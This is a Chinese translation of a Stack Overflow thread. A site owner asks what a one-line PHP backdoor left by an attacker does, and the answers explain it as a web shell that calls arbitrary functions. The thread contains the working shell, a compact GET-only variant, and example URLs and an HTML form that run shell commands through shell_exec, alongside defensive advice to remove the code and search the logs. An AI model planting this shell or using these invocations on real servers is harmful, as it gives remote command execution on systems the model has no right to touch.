发现黑客留下的代码,但不知道它的作用是什么

9
我发现在我的其中一个PHP文件中,黑客留下了一行脚本。它的内容是这样的:
<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>

能否有人给一些提示,说明这行代码是做什么的?谢谢。


错误被抑制了吗? - Mr. Alien
3
这是用于通过简单的URL调用PHP函数。必须尽快删除。 - zessx
8
这是一个 PHP shell。如果你将它重写为 <?=($_=@$_GET[2]).@$_($_GET[1])?>,则 URL file.php?1=shell_exec&2=whoami 将在 shell 中执行 whoami 命令。在你的例子中,一个参数通过 POST 传递,一个参数通过 GET 传递。 - Reeno
1
一般来说,问被黑客攻击的代码做了什么是没有意义的;通常它都是混淆的,并且总是做一些不好的事情。首先要做的是删除它;恢复备份并确保您已安装了使用的任何第三方软件的所有可用安全补丁。如果您想花更多时间在此上面,那就花时间找出如何避免再次被黑客攻击,而不是关注黑客攻击实际上做了什么。 - Spudley
4
@Spudley,实际上弄清楚代码的作用可能会非常有帮助。如果您正在被脚本小子入侵攻击,您可以反制攻击者。同时了解代码的作用也非常有用,因为这样您就可以减轻攻击所造成的损害。在这种情况下,我们知道攻击者正在执行shell命令... 他可能已经升级到uid=0。 - Charles D Pantoga
3个回答

10

这是一个PHP shell。如果你将它改写成<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>,那么URL file.php?2=shell_exec&1=whoami 将在shell上执行命令whoami。在您的示例中,一个参数通过POST传递,另一个参数通过GET传递,因此有点难以调用。

您还可以使用它来调用其他函数。第一个参数始终是函数名称,第二个是调用函数的参数。

显然在http://h.ackack.net/tiny-php-shell.htmlhttps://twitter.com/dragosr/status/116759108526415872)上有解释,但对我而言该网站无法加载。

/编辑:如果您可以访问服务器日志文件,则可以搜索这些文件以查看黑客是否使用了此shell。在shell上简单输入 egrep "(&|\?)2=.+" logs* 就可以工作。您只能看到已执行命令的一半(只有GET,没有POST),但也许这有助于确定攻击者是否实际上使用了他的脚本。


8

正如Reeno在评论中所说,它就像一个PHP shell。

解释

  • Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.

    $_=@$_GET[2]
    
  • Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.

    @$_($_POST[1])
    
@ 运算符可以禁止错误日志记录,请参见PHP.net:错误控制运算符
两个语句之间的连接运算符实际上并没有什么重要作用。它可以像这样重写:
$_=@$_GET[2];
@$_($_POST[1]);

使用案例

调用任意函数。我不会提及成功攻击所需的具体HTTP头,但这对于每个(Web)程序员来说应该是相当容易的。


6

首先,您必须尽快删除这些行。

此代码用于调用PHP函数。举个例子,黑客会使用这种形式:

<form method="post" action="http://site.com/page.php?2=shell_exec">
    <input name="1" value="ipconfig -all"/>
    <input type="submit" value="Send"/>
</form>

您将获得以下数值:
- $_ = $_GET [2] = shell_exec - $_POST [1] = ipconfig -all - $_($_POST [1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
@ 在此处用于禁用错误。
下面是一个更简单的示例,您可以使用以下代码:
<?= @$_GET['c'](@$_GET['p']); ?>

通过简单的调用http://site.com/page.php?c=shell_exec&p=ipconfig%20-all

它使用的是获取参数,而不是提交。 - ikkentim

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接